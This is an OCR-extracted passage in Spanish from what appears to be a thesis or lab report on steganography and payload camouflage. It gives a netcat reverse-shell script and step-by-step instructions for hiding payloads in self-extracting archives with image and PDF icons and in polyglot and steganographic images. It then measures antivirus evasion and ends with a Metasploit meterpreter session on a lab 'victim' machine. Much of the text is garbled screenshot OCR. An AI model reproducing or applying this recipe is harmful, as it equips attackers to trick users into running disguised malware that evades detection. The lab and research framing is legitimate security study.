ali kali 4096 Apr 13 14:35
1 root root 73802 Apr 13 payload.exe
i kali 4096 Apr 13
root 4770578 Apr 13 prueba_veil.exe
kali 4096 Apr 13 14:35

kali 4096 Apr 13 14:35
druxr-xr-x 2 kali kali 4096 Apr 13 14:35

/home/kali
1

Imagen 69: Comando Is para listar archivos — Msfvenom
DISENO DE PAYLOAD 3 —- EJECUTABLE .SH

13. Se desarrolla un archivo .sh que cuenta con un script que cumple la funcion de
redirigir toda la salida estandar y ejecutarse en segundo plano evitando los mensajes
de manera sigilosa y que este sea intervenido por netcat desde la maquina victima.

Archivo Maquina Ver Entrada Dispositivos Ayuda
B emPo-| 23 4|F O A gios| @ G

] root@kali: fhome/kali
File Actions Edit View Help

/home/kali
prueba.sh
carro_prueba.exe payload.exe prueba_
Prueba_Vei
/home/kali
prueba.sh
#!/bin/bash

HOST="192.168.100.29"
PORT="5555"

Jusr/bin/nc $HOST $PORT -e /bin/bash >/dev/null 2>81 &

/home/kali

Imagen 70: Creacion de payload formato bash

81



CREACION DE ARCHIVO CAMUFLAJE EB IMAGEN JPG - ARCHIVO
AUTOEXTRABILE DE WINRAR

14. Para ejercer el camuflaje del payload y su funcionalidad, se ejercer la elaboracion de
un autoextraible con winrar para que la victima de siguiente, siguiente sin sospechar
que sea un virus.

Imagen 71: Creacion de archivo autoextraible con imagen

15. Se debe seleccionar la imagen de formato jpg y el archivo prueba_veil.exe para ser
afiadido en un winrar y seleccionar la opcion afiadir

s Acceso ripido
Eseriorio v | |
¥

7 Documentos

Microsoft Defender...

= Imagenes
D Msica
& videos
@ Onediive
B Este equipo
& Descargas Enviara >

%) Documentos Cortar

Cambiar nombre

Propiedades

Imagen 72: Seleccionar archivos para autoextraible
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16. Configurar parametros principales, en método de compresion “La mejor” y marcar la
casilla crear un archivo autoextraible. Para luego dar clic en la pestana “Avanzado”

3 Documer \|
= Imagenes
b misica

B videos

@ OneDrive

3 Este equipo
& Descargas

% Documentos
I Escritorio

& Imagenes

) Misice

B Objetos 30

B Videos

% Disco local (C)

13 Unided de CD @)V
i Red

prueba_veil

Nombre del archivo
Prusbs_Vel.sfx.exe
Perfl predeterminado
Perfies...

Formato de archivo
@RR

Método de compresign

L mesor

Tamaio del dedonario
32

Partr en vokimenes de ...

B3 Nombre de archivo y parimetros

?

General Avenzado Opdones Fidheros  Copia de seguridsd Fecha v hors  Comentario

Examinar..

Modo de acwaizacn
Adadr y reemplazar

‘Opciones de compresién

[leiminar ficheros tras ls compresiin
M Crear un archivo autoextraibie

[ Crear un archivo sdido.

[ Aiadi Regstro de Recuperacén
[ Verificar fcheros comprimicos
%0 Otoqexelardmo

L. Establecer contrasefa...

e

X

Imagen 73: Configuracién de parametros del archivo autoextraible

17. En la opcién “Avanzados”, se da clic en opcion autoextraible para direccionar a la

siguiente ventana para configurar en instalacion los programas a involucrar como;
“prueba_veil.exe y gatito.jpg”.

« 4 | » Esteequipo » Escritorio > Prueba Veil
'
# Acceso rapido )
B Escritorio /) -
& Descerges :
SJ

3 Documentos
2 gatito gatite
& Imagenes

D Musica

B Videos

@ OneDrive

B Este equipo
& Descargas

%) Documentos
I Escritorio

& Imagenes

D Misics

3 Objetos 3D
B videos
‘% Discolocal (C)

5 Unidad de CD D)V

¥ Red

prueba_veil

g 1| Ocones X avanzadas

Gend Gen(ml
| Modos
Avanzado
Actualizar
Texto
Logotipo e icono
| Médulo

Programa de instalacin
Ejecutar wasla extracaén

prueba_vei.exe
gatto.pa|

Ejecutar antes de a extraccion

Clesperar y devolver cédigo de retormo

ot [ | o

Imagen 74: Configuracion avanzada uso de los archivos payload + imagen
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18. En la seccion de Logotipo e icono, en la seccion de cargar icono como fichero, inserta
la imagen ico del gatito

na Ver

s Acceso rapide
I Esciitorio
& Descarges
7] Documentos
& Imagenes
b Misica
& Videos
@ OneDrive
[ Este equipo
& Descargas
2| Documentos
I Escritorio
= Imagenes
b Misico
B Objetos 30
B Videos

% Disco local (C)

i Red

Entrada _Dispositivos  Ayuda

Compartir

> Esteequipo » Escritorio > Prueba Vel

prueba_veil Opciones SFX avanzadas
= )

General Carga logotpo desde fichero.
Instalacién

Gend

| Modos Logotipo de alts resolucién
A
Texto
:
Licencia
| Médulo

Cargar icono desde fichero

5 Unidad de CD (D) ¥

Aceptar

Imagen 75: Seleccion del formato ico para camuflaje

19. Se selecciona el ico del gatito para poder camuflar el autoextraible a crear

« +

# Acceso rapido
B Escritorio
& Descerges
Documentos
= Imagenes
D Musica
B Videos
@ Onediive
3 Este equipo
& Descargas
# Documentos
I Escritorio
& Imégenes
D Misics
 Objetos 30
B Videss
‘Za Discolocal (C:)

5 Unidad de CD D)V

i Red

- 2
X ' %
" i
3 S
gatito gatite. prueba_veil

[ seleccionar icone

? | > Esteequipo > Escritorio > Prueba Veil

Organizar v Nueva carpeta

@ Onedrive A !
I ste equipo |
& Descargas

% Documentos
[ Escritorio

& Imégenes

D Msica

¥ Objetos 30
1B Videos

‘s Disco local (C)

15 Unidad de CD (€

gatito

| Nombre de archivo: | gatito

*ico

Cancelar

Imagen 76: Icono seleccionado para el archivo autoextraible
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20. En la seccion “Actualizar” se seleccion en el modo de actualizacion extraer y

reemplazar ficheros y en la parte de sobreescritura, se selecciona Sobrescribir todos
los ficheros.

L

Archivo Méquina Ver Entrads _Dispositivos  Ayuda

Archivo )
- ) Este equipo » Escritorio > Prueba Veil v
' -
# Acceso ripido Lo <
B Esciitorio 2 | K
& Descergas :
3 bocumeres \ ‘ ]
gatko gmito prueba_vel | Opciones SFX avanzadas ) X
= Imagenes -
& Musica Wodo de actalzacdn
] ced  Genenl .
Prueba Vel Instalacién @ Extraer y reempizar fiheros
B Videos | Modos Oxtraer y actusaer cheras
Avanzado p
O Refvescar solo icheros exstentes
@ onne
Tedo
I Este equipo Logotipoeicono  Modo de sobreescribra
& Descargas Licencia O)Preguntar antes de sobrescrbic
) Documentos pMadilo ® Sobvescri todos os ficheros
B Esciitorio ) Omitr ficheros exstentes
= Imigenes 2
J Misica |
B Objetos 30
B Videos
' Discolocal (C)
3 Unidad de CD (0 ¥
o Red
| [ ]

Imagen 77: Actualizacion para sobreescritura
21.

Tras configurar todos los parametros para el archivo autoextraible, se da en aceptar y
en aceptar para crear el archivo Prueba_Veil.slx.exe como archivo final.

Documentos

L]
« 4 [£ > Esteequipo » Documentos

'
# Acceso rapido Lt
B Esciitorio oy
& Descerges 1
i \
- Prueba Vel
= Imigenes
b Masica
Prueba Vel
B Videos
@ Onediive
B Este cquipo
& Descargas
| Documentos
B Esciitorio
= Imégenes
) Misica
B Objetos 30
B videos
' Disco local (C)

U5 Unided de CD (0 ¥
o Red

Imagen 78: Archivo autoextraible creado exitosamente
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22. Al dar doble click en el autoextraible se presenta en pantalla un mensaje de instalacion

con una ruta especifica de ubicacion de directorio, se da en aceptar y se extraen los
archivos y se ejecuta el payload al instante.

2

Archivo  Méquina Ver

Entrada _ Dispositiv

# Acceso rapido
B Escritorio
& Descerges

| Documentos
& Imagenes

D masica

I Este equipo

B Objetos 30
B Videos

» Esteequipo » Documentos

-
vf‘

Prueba_Veil

[ Aschive auto-extrable WinRAR

« Pulse el botén Instalar para iniciar I exraccién
* Use el botén Examinar para seleccionar 1a carpeta de

destino e forma grifica. También puede especificarta
manuzlmente

o Silacarpeta de destino no exste seré creada
automaicamente antes de I extraccin,

Carpeta de desting

v

T
Fig A T
% Disco local (C:)
Unidad de CD (D) v
= ; Cocen
@ Red
elemento elemento s

Imagen 79: Prueba de archivo autoextraible

CREACION DE ARCHIVO CAMUFLAJE EN IMAGEN PNG CON POWERGLOT

23. Se inicia la herramienta de PowerGlot

Archivo Méquina Ver Entrada Dispositivos  Ayuda

BemPorl|1 23 oo gis|ac
] root@kal: Mome/kalijpowerglot

File Actions Edit View Help
print(" |_ \ /

. A loader is not needed.

any file in the f from path)

/home/kali/powerglot

Imagen 80: Uso de la herramienta Powerglot camuflaje
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24. Se observa el archivo payload creado con extension .sh que permite ejercer un escucha a la
maquina victima.

Archivo Méquina Ver Entrada Dispositivos Ayuda

S emP ol 23 4|0

OO A 1029 | & &
root@kali: /home/kali/powerglot
File Actions Edit View Help

/home/kali/powerglot

carro_prueba.exe LICENSE powerglot.py prueba.sh README.md

/home/kali/powerglot

prueba.sh
#1/bin/bash

92.168.100.29"
S58

/usr/bin/nc $HOST $PORT -e /bin/bash >/dev/null 2>81 &

/home/kali/powerglot
|

Imagen 81: Uso del archivo bash para camuflaje con Powerglot

25. Con el siguiente comando “python3 powerglot —o prueba.sh cat.jpeg gatitofinal.png” se
procede a camuflar el script bash ya antes creado para doblegar la seguridad de la maquina
victima. Una vez finalizado, se crear el archivo gatitofinal.png

Archivo Méquina Ver Entrada Dispositivos Ayuda

B EERRPOF-| 2 3 4|F] O ® & g0 |
; root@kali: /home/kali/powerglot
File Actions Edit View Help

/home/kali/powerglot

carro_prueba.exe LICENSE powerglot.py prueba.sh README.md
/home/kali/powerglot
powerglot.py prueba.sh cat.j

/home/kali/pow / Synt scape sequence '\ ’

print(" | 4 | 1 %)
/home/kali/pow y .py:104: Synt i id escape sequence '\ °

print(" | __ (S AT AN LN ISP IBIE | IS N 1%
/home/kali/powerglot/powerglot.py:105: SyntaxWarning: inva escape sequence '\

print(" | | [SC) RN, = 11 11 RES)E =

/home/kali/powerglot/powerglot.py SyntaxWarning: in escape sei
print(" | N \ NEEE \ 1=

A e {5l |
/home/kali/powerglot

carro_prueba.exe LICENSE powerglot.py P .sh README.md

/home/kali/powerglot
1

Imagen 82: Creacién del archivo camuflaje con Powerglot
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CREACION DE ARCHIVO CAMUFLAJE EN PDF CON EJECUTABLE .EXE

26. Se prepara los archivos involucrados “Esteganografia.pdf, payload.exe, icono pdf”.

L

Archivo Miquina Ver Entrada Dispositivos  Ayuda

PROOPN nicio  Compattir  Vists []
4 > msfveno_pdf v o B
lomb Fechs de modificacion  Tipo
# Acceso ripido
- @ Esteganograiz [ [ ft Edge P
- [# payload 16/04/2025 05:05 p. plicacién
& Descargas N " ; |
5| Documentos

= Imsgenss
msfveno_pdf
D Msica
veiliog
@ Videos
& OneDrive
38 Este cquipo
& Descarges
% Documentss
B Escrtorio
& Imagenes
D Misica
B Obietos 30
& videos
i Disca local (C)

15 Unidad de CO (09 %

& Red

Imagen 83: Creacion de camuflaje autoextraible pdf

27. Se selecciona el archivo pdf con el archivo payload.exe para asi “Afiadir archivo rar”.

L]

Archiva Maquina Ver Entrada Dispositivos Ayuda

+ | msfveno_pdf

arcnivo [IEUEH ompartr Vit

4 [l s msfveno_pef

P—
I Escritorio
& Descargas
& Documentos
& Imigenes
msfveno_pdf
B Misiea
veiLjpg
B Videos
& Onebrive

30 Este equipo
¥ Descargas
= Documentos
I Escritorio
& Imagenes
) Misica
¥ Objetos 30
B Videos
& Disco local (G

15 Unidad de €D 09V
o Red

= 3
em B T

£ Andizar con Microsoft Defender..
£ Compart

Deracceso
RN Afadic ol archivo.
B Adadir a ‘msfvenc_pdf.rar*
BB Adsdic y enviar por email...
B Adiadic a ‘msfveno_pdf.rar' y enviar per email
Enviara
Cortar
Copiar
Pegar
Crear acceso directo
Eliminar

Cambiar nombre.

Propiedades

Imagen 84: Seleccionar los archivo para convertir a autoextraible
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28. Se procede a marcar la casilla “crear archivo autoextraible”, cambiar la opcion de conversion
a “La Mejor”.

Archivo Méquina Ver Entrada Dispositivas Ayuda

[ rco comparte e ]

4 [1 > msiveno_pt v o

s Access ripido

B Escritorio .

E Documentos

Esteganografiz payload R
=] Imagenes B3 Nombre de archivo y parimetros 1 X
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Imagen 85: Configuracion de archivo extraible pdf

29. En la pestafia “Avanzados” se da clic en la opcion para configurar los parametros para crear
el archivo autoextraible.
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Imagen 86: Configuracion avanzada del archivo autoextraible pdf
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30. En la pestafia de “Opciones SFX avanzadas” en la seccion “Instalacion” se proporciona los
archivos que se deben ejecutar tras la extraccion, primero se agrega el “payload.exe” y luego

“Esteganografia.pdf” para que el payload malicioso se dispare al iniciar y se muestre el
archivo pdf sin problema.

L3
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Imagen 87: Configuracion SFX para el archivo autoextraible pdf

31. En la pestafia “Actualizacion” se configura la sobreescritura, se selecciona la que dice
sobreescribir todos los ficheros.
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Imagen 88: Configuracion de sobreescritura en archivo autoextraible pdf
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33.

32.

En la seccion de logotipo o texto, seleccionar la parte de agregar fichero como fichero, y se

selecciona la imagen de pdf en formato ico

w8
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Imagen 89: Seleccionar el ico de pdf para el archivo autoextraible

Se da en aceptar en todos los apartados y se crea sin problema el archivo autoextraible
denominado “Esteganografia”.
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Imagen 90: Archivo autoextraible pdf creado exitosamente

91



34. Al dar doble clic en el archivo creado se observa como aparece una pestafla de aviso de
instalacion, el usuario en ocasiones emite estos mensajes y da en siguiente sin problema
alguno.
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Imagen 91: Prueba de archivo autoextraible pdf

35. Al dar clic se puede observar como el archivo es ejecutado sin problema alguno,

2 8 1 Directory listing for / X pdfimagen - Bisqueds X | Q lcono PDF VectorPNG X | Q convertirimagenpng = X |l Descamgararchivofcor X [3 Esteganografiapdf x IS - a X
C D Archivo | CyfUsers/l y_Hack/Desktop/ )_pdf/ fia.pdf &> = - D
= g ¥ Dibujar Q | @ A | a | PreguntaraCopilot -+ @ 11| R Qe B 2
Esteganografia

La esteganografia es la practica de ocultar informacion dentro de otro mensaje u
objeto fisico para evitar su deteccion. Se puede usar para ocultar casi cualquier tipo
de contenido digital, ya sea texto, imagenes, videos o audios. Luego, dichos datos
ocultos se extraen en destino

A veces, el contenido encubierto mediante esteganografia se cifra antes de
ocultarlo dentro de otro formato de archivo. Si no esta cifrado, es posible que se
procese de alguna manera para que sea mas dificil de detectar

encubierta, la esteg a se compara a veces
Sin embargo, no son lo mismo, ya que la esteganografia no
consiste en codificar los datos al enviarlos ni en usar una clave para descodificarios
al recibirlos.
El término “esteganografia® procede de las palabras griegas “steganos® (que
significa oculto o cubierto) y "graphein” (que significa escritura). Se ha practicado de
diversas formas durante miles de afios para mantener la privacidad de las
comunicaciones. Por ejemplo, en la antigua Grecia, las personas grababan
mensajes en madera y luego los ocultaban con cera. Los romanos usaban diversas
formas de tintas invisibles, que podian descifrarse al aplicar luz o calor.

La g es un elemento importante para la ciberseguridad, ya que los
grupos de ware y otras amenazas suelen ocultar informacién cuando atacan
a un objetivo. Por ejemplo, pueden ocultar datos o una herramienta maliciosa, 0
enviar instrucciones a servidores de comando y control. Podrian colocar toda esta
informacién en archivos de imagen, video, sonido o texto que parecen inofensivos.

Imagen 92: Prueba sin error del archivo autoextraible pdf

92



TECNICAS DE ESTEGANOGRAFIA TRADICIONALES
TECNICA LSB EN IMAGEN PNG —- HERRAMIENTA STEGOSUITE

36. Para iniciar la herramienta se emite el comando stegosuite gui
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Imagen 93: Técnica LSB herramienta StegoSuite

37. En la seccioén de file dar clic en la opcion “OPEN” para insertar la imagen a utilizar en este
caso sera en formato png
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Imagen 94: Seleccionar archivo de seleccion de camuflaje — StegoSuite
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38. Se observa tres apartados, una para emitir un comentario, otro para seleccionar el archivo a
ocultar, en este caso sera el archivo prueba.sh y otra para insertar una contrasefia, colocar el

archivo y una contrasefia correspondiente.
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Imagen 95: Se configura el camuflaje — StegoSuite

39. Al tener todo perfectamente configurado dar clic en embed.
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Imagen 96: Configuracion completa dar “Embed” — StegoSuite
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40. Dar clic en la opcion “embed” y se observa como se almacena correctamente la imagen
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Imagen 97: Almacenar archivo en ruta especifica - StegoSuite

41. Se crea correctamente el archivo como nombre “carro_embed.png” como prueba final.
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Imagen 98: Archivo creado exitosamente — StegoSuite
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TECNICA DCT EN IMAGEN JPG - HERRAMIENTA OUTGUESS

42. Como la herramienta ya se encuentra instalada, se emite por comando. Para aquello la
estructura inicial es con el comando outguess
-k Sirve para insertar contrasefia
-d: seleccionar el archivo a ocultar

=
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Imagen 99: Técnica DCT con herramienta Outguess

43. Como se puede observar con el comando “outguess —d payload.exe prueba.jpg
prueba_final.jpg se crea existosamente el archivo incrustado con la herramienta y se obsera
en la carpeta de kali
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Imagen 100: Creacion del archivo exitosamente — Outguess
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TECNICAS DE ESTEGANOGRAFIA AVANZADAS

TECNICA ESTRUCTURAL /OLE (OBJECT LINKING AND EMBEDDING) —
HERRAMIENTA POWERGLOT

44. Abrir la carpeta Powerglot con el comando “cd poweglot”. Utilizar el archivo payload.exe y
Esteganografia.pdf

o)
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Imagen 101: Técnica OLE con herramienta Powerglot

45. Se emite el comando “python3 powerglot.py —o payload.exe Esteganografia.pdf fina.pdf”
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Imagen 102: Ejecucion de comando para crear el archivo camuflaje — Powerglot
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46. Se puede observar como el archivo creado se a incrustado con el payload.exe y no emite un

error debido al soporte para Linux, debido que para windows el archivo no se abre
normalmente.

Archivo Maquina Ver Entrada Dispositivos Ayuda
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| a 356 | & G
final.pdf
File Edit View Go Bookmarks Help

(Tof1) Fit Width v
Thumbnails e B

grupos de ransomware y otras amenazas suelen ocultar informacién cuando atacan
a un objetivo. Por ejemplo, pueden ocultar datos o una herramienta maliciosa, o
enviar instrucciones a servidores de comando y control. Podrian colocar toda esta
informacion en archivos de imagen, video, sonido o texto que parecen inofensivos.

Imagen 103: Archivo abierto exitosamente — Powerglot

47. Error en maquina windows

Q @ [ & finalpdf x |+
(%) (@ Archivo | C:/Users/Steven/Downloads/final.pdf

No podemos abrir este archivo
Hubo un problema.

Imagen 104: Ejecucion en maquina Windows Falla
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HERRAMIENTAS SANDBOX DE ANALISIS DE PAYLOADS SIN ESTEGONAGRAFIA
CAMUFLAJE BASICO - PAYLOAD — PRUEBA_VEIL.SFX.EXE

VIRUS TOTAL

48. Al inserta el payload original con el camuflaje de autoextraible se observa con los antivirus
dentro del Sandbox de Antivirus total un toal de 28% detecta que es malicioso.
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Imagen 105: SandBox virustal — Payload Prueba_Veil.exe

HYBRID ANALYSIS

49. A traves de la herramienta Hybrid Analysis se puede observar como el reporte presenta un
total de 67% de caracter malicioso clasificado como “Trojan Generic”.
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Imagen 106: Hybrid Analysis — Prueba_Veil.exe
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PAYLOAD - PRUEBA.SH
VIRUS TOTAL

50. Se inserta el payload para comenzar el andlisis y se muestra un porcentaje de 0% presentando
como un archivo no malicioso, debido que es un archivo que emite un formato texto no
peligroso, pero evidentemente tiene una accion de “Handler conexion inversa”.
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Imagen 107: Sandbox virustotal — prueba.sh

HYBRID ANALYSIS

51. A traves de la herramienta Hybrid Analysis se observa como también es detectado como
archivo indefenso a pesar de que cuenta con un script ejecutable por netcat.

Archivo Maquina Ver Entrada Dispositivos Ayuda
BE@EpPor-|1 23 4]0

K& Treball Final (Plant X PolySwarm - Cro

lilkl, @ © &2 @e|a 6

B @ estaganografia af [E] Free Automated M- % [B] Free Automated | VirusTotal - File

« C @ O 8

KaliLinux & KaliTools « KaliDocs N Kali Forums e Kali NetHunter
HYBRID
ANALYSIS

Analysis Overview

hybrid-analysis.com

Exploit-DB Google Hacking DB OffSec

® Sandbox ~ B Quick Scans ~  (BFile Collections 8 Resources ~

ARequest Report Deletion
| Analysls Overview

Submitted At:
Last Anti-Virus Scan:
Last Sandbox Report:

Submission name:  prueba.sh
Size: 1038
wee: EfIEe
Mime:  text/x-shellscript
SHA256:  55f054b2a9c6afd9d0497bd6

2025-04-18 16:32:20 (UTC)
2025-04-1816:32:20 (UTC)
2025-04-1816:34:50 (UTC)

Anti-Virus Results v

MetaDefender 2

Multi Scan Analysis

Imagen 108: Hybrid Analysis — Prueba.sh
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VENOM.EXE
VIRUS TOTAL

52. Se inserta el payload malicioso “Venom.exe” en la herramienta VirusTotal y al observa el

analisis, da como resultado como da un porcentaje de 48% representando como un Trojan
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Imagen 109: Virustotal analisis — Venom.exe
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53. Ahora el analisis del mismo payload malicioso en la herramienta Hybrid Analysis, presento
un procentaje de 67% como caracter malicioso, clasificado como Trojan
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HERRAMIENTAS SANDBOX DE ANALISIS DE PAYLOADS CON ESTEGONAGRAFIA
CARRO_EMBEND.PNG - VIRUS TOTAL

54. Se establecio el ocultamiento del payload malicioso mediante técnica de LSB en una
imagen, y al realiza el analisis, presenta un porcentaje de 0% como caracter indefenso y
presentado como una imagen normal.
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Imagen 111: Virustotal analisis — Carro_embend png
HYBRID ANALYSIS

55. A través de la herramienta Hybrid Analisis se presenta un analisis correspondiente de 0%
presencia que es un archivo indefenso y malicioso, archivo imagen ocultando payload
malicioso.

Archivo  Maquina Ver Entrada Dispositivos Ayuda

B E@mPO- 23 4|8

(B & Treball )-1 X VirusTotal - File - 289 x  [E] Free Automated Malwa

< C @ O 8 hybrid-analysis.com

KaliLinux @ KaliTools @ KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

HYBRID

ANALYSIs ©Sandbox~  BQuickScans - (WFile Collections ~ MIResources ~ @ Requestinfo - Q %) More
Analysis Overview ARequest Report Deletion
Submission name:  carro_embed png

Size: 1.3MiB

wee: EEIEMe

Mime: i /

SHA256: 926096885 75fa031c34e423dc9c50d6908281325311d¢
Submitted At: -1818:08:59 (UTC)

Last Anti-Virus Scan: 2025-04-18 18:09:01 (UTC)

Anti-Virus Results

CrowdStrike Falcon 2 MetaDefender 2

(V) ()

Imagen 112: Hybrid Analysis — Carro_embend png
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PRUEBA_FINAL.JPG
VIRUS TOTAL

56. Seinserta la imagen “Prueba Final.jpg” que fue usaba para ocultar payload malicioso a traves
de Esteganofria, y se presenta un porcentaje de 0% como archivo indefenso.

Archiva Maquina Ver Entrada Dispo Ayuda

S mE PO 3 4 | e

(2 | WE Treball Final (Plantilla) - + % VirusTotal - File - 8e0f30 x  [E] Free Automated h
&«

C o 06 virustotal.com

KaliLinux & Kali Tools Kali Docs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Max size 650MB —~ '
vam W 5e0f303 7472¢70b906a145858f 02 4 signin

C Reanalyze == Similar~  More

DETECTION DETAILS COMMUNITY

Join our Communit tomate checks.

Security vendors' analysis ® to automate c

Acronis (Static ML) Undetected AhnLab-v3

Imagen 113: Virustotal analisis — Prueba_Final.jpg

HYBRID ANALYSIS

57. Con la herramienta Hybrid Analysis se observa que a través del analisis, presenta un resultado

de un porcentaje de 0% indicando que el archivo es indefenso y lo califica como imagen
normal.

Archivo Msquina Ver Entrada Dis s Ay
v 3 ke kil
amBk o] 3 i

W& Treball Fi antilla)

H A 1“9 | & &

hybrid-ana om

& Kali NetHunter Exploit-DB Google Hacking DB OffSec

HYBRID o )
)ANALVSIS @ sandbox - B Quick Scans ~

Analysis Overview

]
L ]
©
o

x

ARequest Report Deletion

‘ Analysis Overview

Submission name:  prueba_finaljpg no specific threat
Size:  22MiB . - -
e  CE3Ee ' e
Mime:  image/jpeg [ [ @Pumk [ oo v
SHA256: 8e0f303d9d6233a9f5bcad7472c70b906a145858b891965e02a0eec40c933302 B
Submitted At:  2025-04-18 18:17:44 (UTC)
Last Anti-Virus Scan:  2025-04-18 18718:48 (UTC) —
Last Sandbox Report:  2025-04-18 18:18:48 (UTC)
Anti-Virus Results v

CrowdStrike Falcon 2 MetaDefender @

@) ()
Imagen 114: Hybrid Analisis — Prueba_Final.jpg

FINAL.PDF
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VIRUS TOTAL

58. Se inserta el archivo “Final.pdf” en la herramienta VirusTotal y se puede observar como el
porcentaje malicioso bajo a un 11% a través de técnica de esteganografia.

-
Archivo Maquina Ver Entrada Dispo
SEmPkor]|- 3 4

& | final.pdf [ Free Automates

L
VirusTotal - File - d597¢

QA virustotal.com,

= C o

Google Hacking DB OffSec

KaliLinux @ KaliTools <« KaliDocs ¥ Kali Forums e\ Kali NetHunter

2]

Exploit-DB

d597d6 de3 7ebaalcecceb6d leeaOsb

C Reanalyze = Similar~  More ™

7503e68aleeaddb Last Ar

amoment ago

DETECTION DETAILS BEHAVIOR C COMMUNITY

Join eur Community a tomate checks.

Popular threat label Threat categories  trojan Family labels cryptz  marte

Security vendors' analysis () Doy

Imagen 115: Virus total analisis — Final.pdf

HYBRID ANALYSIS

59. A través de la herramienta Hybrid Analysis se observa que el archivo analizar es
considerado indefenso mostrando un porcentaje de 0%.

Archivo Maquina Ver Entrada Dispositivos  Ayuda

BeEPor| 23 +|60[]
@ | finalpdf [E] Free Automated Malwa: Total - File -
& C @ (O]
Kali Linux # KaliTools @ KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB Offsec
) :EiE'VDSIS © sandbox + B Quick Scans +  (MFile Collections ~ MResources + @ Request Info ~ Q x More~

ARequest Report Deletion

Analysis Overview

Submitted At:
Last Anti-Virus Scan:
Last Sandbox Report:

Anti-Virus Results

s

and ML

CrowdStrike Falcon 2

2025-04-2016:03:55 (UTC)
2025-04-2016:03:56 (UTC)
2025-04-2016:03:55 (UTC)

MetaDefender 2

nalysis

Multi Sca

©

Submissonname:  ialpa
Size:  207KiB A orke -
wee [Flo S
Mime:  application/pdf
SHA256:  d597d6e2eaaageldc325123182b9177ebaallceccebb98c 9750366

Imagen 116: Hybrid Analysis — Final.pdf

ESCENARIOS DE PRUEBA DE PENETRACION
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Escenario #1: Conocer la informacion del equipo, tomar captura de pantalla, a traves del payload
malicioso oculto en una imagen jpg (gatito jpg.exe)

Objetivo: Evadir seguridad informatico como el antivirus y hallar activos de informacion
importantes.

Tiempo: 25 minutos

60. Enviar el archivo malicioso y guardarla en la carpeta de “Documentos”

2

Archivo Méquina Ver Entrada _Dispositivos  Ayux
= | Documentos

PRURl nico  Compartir

« 1 [£ » Esteequipo » Documentos

s Acceso rapido o~
B Esciitorio

& Descerges

%] Documentos \
& Imagenes
D Musica
& Videos

@ OneDrive

3 Este equipo
& Descargas
%| Documentos
B Escritorio
& Imagenes
D Misics
B Objetos 30
B Videos
Za Disco local ()

U5 Unidad de CD (D)4

¥ Red

Imagen 117: Payload en imagen en carpeta documentos de la victima.

61.

Configurar en la maquina atacante los parametros de handler de conexion de inversa a
traves de msfconsole.

Archivo  Maquina Ver Entrada Dispos

B omP o]

root@kali: /home/kali
File Actions Edit View Help

Exploit tar

Id Name

0 Wwildcard Target

View the full module info with the command.

Exit technique (Acc
The listen add
The listen port

LHOST
(1

s, none)

Exploit tar

Id Name

0 Wwildcard Target

View the full module info command.

Imagen 118: Reverse_shell maquina atacante
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62. A través del comando exploit se procede a ejecutar el handler conexion reverse desde la
maquina atacante para inflitrarse.

S

Archivo Maquina Ver Entrada Dispositivos Ayuda

T X AN

3 4 |0

oo afno|ac
root@kali: /home/kali
File Actions Edit View Help

Id Name

0 Wildcard Target

View the full module info with the , or command.
nsf6 exploit( ) > set lhost 192.168.100.29
t = 192.168.100.29
msf6 exploit( ) > set lport 4444
rt = 4444
6 exploit( ) > show options

Payload options (windows/meterpreter/reverse_tcp):

Name

Current Setting Required

Description
EXITFUNC process yes
LHOST 192.168.100.29 yes
LPORT 4444 yes

it technique (Accepted: "', seh, thread, process,
listen address (an interface may be specified)
e listen port

Exploit target:
Id Name

0 Wwildcard Target

View the full module info with the

command.
msf6 exploit(

) > exploit
Started reverse TCP handler on 192.168.100.29:4444

Imagen 119: Ejecucion de handler por el exploit de la mdquina atacante

63. En la maquina victima, se observa como el usuario ya ejecuto el archivo y de cierta forma
se ejecuto el payload

(]
4 [5 > esteequipo » Documentos
# Acceso rapido o 1 2
B Escritorio
& Descarges
%) Documentos
= Imagenes
D Masica
B videos
@ Onedrive
9 Este equipo
& Descargas
=| Documentos
I Escritorio
& Imégenes
) Misies
¥ Objetos 30
B videos
‘% Disco local (C)
15 Unided de CD D3 ¥
¥ Red

3 elementos
I

Imagen 120: El archivo es ejecutado sin problema
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64. Se realiz6 exitosamente la conexion de reverse_tcp, y se muestra en console ya la info
“meterpreter” y se observa la session open de la maquina.

Archivo Maquina Ver Entrada Dispositivos Ayuda

-1 2 3 4|[F]

root@kali: fhome/kali
File Actions Edit View Help
View the full module info with the f command.

msf6 exploit( ) > exploit
Started erse TCP handler on 192.168.100.29:4444
Sending st (177734 bytes) to 192.168.100.28
Meterpret ession 1 opened (192.168.100 4444 — 192.168.100.28:50081) at 2025-04-20 1

meterpreter > cls
Unknown command: cls. Did you mean 11s? Run the command for more detai
meterpreter > clear
Unknown command: clear. Did you mean 2v? Run the help command for more details
meterpreter >
meterpreter
meterpreter >
meterpreter >
meterpreter
meterpreter >
meterpreter
meterpreter >
meterpreter
meterpreter >
meterpreter
meterpreter >
meterpreter
meterpreter
meterpreter >
meterpreter
meterpreter >
meterpreter
meterpreter >
meterpreter
meterpreter
meterpreter
meterpreter
motarnratan

Imagen 121: Conexion exitosamente a través de la imagen

65. Con el comando “sysinfo” se observa la informacion de la maquina victima.

-
Archivo Maquina Ver Entrada Dispositivos Ayuda

NEmpor- : p A B |a c
2 root@kali: /home/kali

File Actions Edit View Help

meterpreter
meterpreter >
meterpreter
meterpreter
meterpreter >
meterpreter
meterpreter
meterpreter
meterpreter >
meterpreter
meterpreter
meterpreter
meterprete:
meterpreter
meterpreter > sysinfo
: DESKTOP-0S46UBJ
indows 10 (10.@ Build 19045).
Architecture
System Language :
Domain
Logged On Users

meterpreter
meterpreter
meterprete:

meterpreter
meterpreter
meterpreter >

Imagen 122: Informacion de la maquina victima con el comando sysinfo
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66. Con el comando “ipconfig” se observa a detalle las interfaces que la maquina contiene
como direccion IP.

Archivo Maquina Ver Entrada Dispositivos

HemP o]

root@kali: /home/kali

File Actions Edit View Help
&e ifconfig: Interrupted
meterpret > ipconfig

Send timed out. Timeout currently 15 seconds, you can configure this with
meterpreter >

192.168.100.28 - Meterpreter session 1 closed. Reason: Died
Interrupt: use the t' command to quit
meterpreter > quir

Unknown command: quir. Did you mean - command for more details.

( ) > exploit

Sending st (177734 bytes) to 19:
Meterpreter session 2 opened (192.168.100.29:4444 — 192.168.100.28:50089) at 2025-04-20 12:39:14 -0400

meterpreter > ipconfig
Interface 1

Name re Loopback Interface 1

